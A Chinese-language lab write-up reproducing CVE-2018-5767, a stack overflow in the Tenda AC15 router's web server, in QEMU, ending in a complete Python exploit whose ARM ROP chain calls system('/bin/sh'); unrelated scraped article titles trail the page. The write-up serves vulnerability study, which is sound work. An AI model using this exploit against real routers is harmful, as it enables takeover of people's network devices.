TENDA-AC15 型号路由器上的一个漏洞,产生原因是没有限制用户输入,使用 sscanf 直接将输入拷贝到栈上,导致栈溢出。

复现环境

  • 漏洞固件在官网没找着,去百度找到了,地址在这里

    版本号:V15.03.1.16

  • qemu v5.2

  • Ubuntu 18.04

  • ida 7.5

漏洞分析

需要配置好 qemu 桥接网络,不能就去 patch 一下 check_network 的返回值。

设置桥接网络

安装依赖:

sudo apt-get install bridge-utils uml-utilities

修改 /etc/network/interfaces 网卡配置文件如下:

# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopbackauto ens33
iface ens33 inet manual
up ifconfig ens33 0.0.0.0 upauto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0

修改 qemu 网络脚本 /etc/qemu-ifup 为如下:

#! /bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0"
sudo /sbin/brctl addif br0 $1
sleep 3

给脚本加上权限,重启网络服务,如果连不上网可以重启一下:

sudo chmod a+x /etc/qemu-ifup
sudo /etc/init.d/networking restart
sudo ifdown ens33
sudo ifup br0

运行程序还是报错,通过字符串定位到 ConnectCfm 函数,看不到函数体,应该是在其他文件定义的,这里也要 patch 改下跳转条件:

然后就能正常运行 httpd 服务(如果 check_network 检查是 patch 解决的,这里 ip 会有点诡异):

R7WebsSecurityHandler 开头打上断点,这个函数处理 /goform/execCommand 的请求:

用 burpsuite 给 /goform/execCommand 发个包,加上 Cookie 的 password 属性,长度弄长点:

GET /goform/execCommand HTTP/1.1
Host: 192.168.211.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
Cache-Control: max-age=0

当检索 password 属性后将值经过 sscanf 正则过滤后存放到 v34 的字符串列表局部变量:

继续运行就会报段错误退出:

用 gdb-multiarch 跟一下,查看一下地址信息。发现是在一个 if 判断中退出报错,而不是在 R7WebsSecurityHandler 退出,这样控制程序流有点复杂:

根据规则如果 URL 文件后缀不是 gif 才进入 if 函数体,那么就加一个 .gif 让程序流直接从 R7WebsSecurityHandler 返回,这样控制起来就简单多。

然后用 cycli 生成字符串测量长度,要注意加 1 再算 padding ,得出长度为 447 。成功控制返回地址:

'Cookie': password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"

ROP 利用链

arm 返回地址是在 pc 寄存器,不是在栈上。qemu 虚拟机没有随机化地址。

构造出 system('/bin/sh')/bin/sh 长度超过 4 字节,由于对齐要占据 8 字节空间,pop r0,pc gadget 不能直接用了。

先用 pop r3,pc 将 system 放到 r3 ,同时压入 mov r0,sp;blx r3 ,这时 sp 寄存器指向 /bin/sh ,将参数地址移动到 r0 ,然后跳转 r3 地址。

qemu 需要加上 -strace 查看调用:

EXP

import struct
import requestsip = "192.168.211.7"
command = "/bin/sh\x00"url = "http://{:s}/goform/exeCommand".format(ip)
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': 'password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"',
'Cache-Control': 'max-age=0'
}libc = 0x3fde6000
pop_r3_pc = struct.pack("< I",0x00018298+libc)#pop r3 pc
mov_r0_sp_blx_r3 = struct.pack("< I", 0x00040cb8 + libc)# mov r0 sp; blx r3
system = struct.pack("< I", 0x0005A270+libc)
command = command.encode()# 'byte'
password = b"A" * 444+b".gif"+pop_r3_pc+system+mov_r0_sp_blx_r3+command
headers['Cookie']=b"password="+passwordtry:response = requests.get(url,headers=headers,timeout=1)
except:pass

参考文章

https://www.freebuf.com/articles/wireless/166869.html

https://wzt.ac.cn/2019/03/19/CVE-2018-5767/

CVE-2018-5767 栈溢出漏洞复现相关推荐

  1. CVE-2018-5767 Tenda路由器栈溢出漏洞复现

    前言 第一次尝试IOT固件模拟和漏洞复现,写篇文章记录一下. 实验环境 Linux版本:Ubuntu 18.04 qemu版本:qemu-arm version 2.11.1(Debian 1:2.1 ...

  2. vivotek栈溢出漏洞复现

    一.前言 近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手. 二.固件仿真 虚拟机环境:Ubuntu 20.04 gdb版本:GNU gd ...

  3. java栈溢出漏洞cve,TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析

    简介 前段时间 TP-LINK TL-WR841N 设备爆出了一个认证后的栈溢出漏洞,借机复现了一下这个栈溢出漏洞,其中有一些在漏洞利用上的小技巧在此和大家分享一下. 漏洞信息如下: 漏洞编号:CVE ...

  4. 栈溢出漏洞CVE-2020-8423复现

    TP-Link WR841N 栈溢出漏洞(CVE-2020-8423) 第一次搞iot相关,对mips的汇编还不是很熟,先熟悉一下搭环境,之后再去理解原理,这里记录一下环境搭建流程.虽然iot-vul ...

  5. CVE(2017-15715、2021-41773、2021-40438)漏洞复现

    仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...

  6. 【转帖】2018年Windows漏洞年度盘点

    2018年Windows漏洞年度盘点丨老漏洞经久不衰,新0day层出不穷 腾讯电脑管家2019-02-12共17875人围观 ,发现 1 个不明物体网络安全资讯 https://www.freebuf ...

  7. 【MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6】

    MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6 文章目录 MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-01 ...

  8. Adobe Reader栈溢出漏洞(CVE-2010-2883)分析

    文章目录 漏洞描述 测试环境 静态分析 定位触发点 分析漏洞成因 动态调试 获取SING表的入口地址 溢出点 精心挑选的返回地址 JavaScript实现HeapSpray 利用ROP链绕过DEP保护 ...

  9. android 动画 最顶层_【Android编程实战】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗...

    0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android平台上发现了一个高危漏洞 该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用 ...

  10. java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破(CVE20182628)漏洞复现...

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-26 ...

最新文章

  1. Python爬取考研数据:所有985高校、六成211高校均可调剂
  2. 花了我一个晚上浓缩了一整套阿里资深技术专家设计教程整理出的java架构设计方法
  3. ubuntu20输入法qiehuan_ubuntu20.04中文输入法安装步骤
  4. linux系统根分区挂载出错 系统无法,用虚拟机安装linux时显示“没有定义根文件系统,请到分区菜单以修正此错误”,是什么意思,肿么弄谢谢各位...
  5. libcurl上传文件
  6. 使用 Packer、Ansible 和 Terraform 构建不可变的基础设施
  7. Flutter Duration详细概述
  8. 遗传算法的c++语言程,C++实现简单遗传算法
  9. java查漏补缺(基础篇)
  10. 24速算c语言实训报告ppt,C语言课程设计(速算24).doc
  11. Web***系列教程之跨站脚本***和防范技巧详解
  12. 云计算之存储即服务 - 存储区域网络(SAN)
  13. 知识图谱 helloword
  14. 接口先决条件失败412
  15. java string转character_Java中String和Character数组之间的区别。
  16. 工程线图中计算机的处理方法,CAD建筑施工图绘制复杂施工放线方法
  17. 万洲金业:投资现货黄金的收益与风险如何平衡?
  18. html子代选择器,Css 后代选择器与子代选择器的区别
  19. 广东省第三届职业技能大赛网络安全项目模块B
  20. PS教程:用PS滤镜将人物照转成素描肖像

热门文章

  1. Pyserial文件传输
  2. CPRI vs eCPRI
  3. wps文字表格制作拼音田字格模板_wps表格里怎么制作拼音田字格
  4. coap 返回版本信息_CoAP协议学习笔记——CoAP格式详解
  5. 面试必备 | 机器学习这十大算法你确定会了吗?
  6. 比较好的自媒体平台推荐,揭秘哪个自媒体平台收入最高
  7. idea 2018 3.3版本破解
  8. Android提取分区镜像命令,Android取证:使用ADB和DD对文件系统做镜像
  9. java 国际化 i18n
  10. 爱快路由器下水星(Mercury)无线管理器AC跨三层发现AP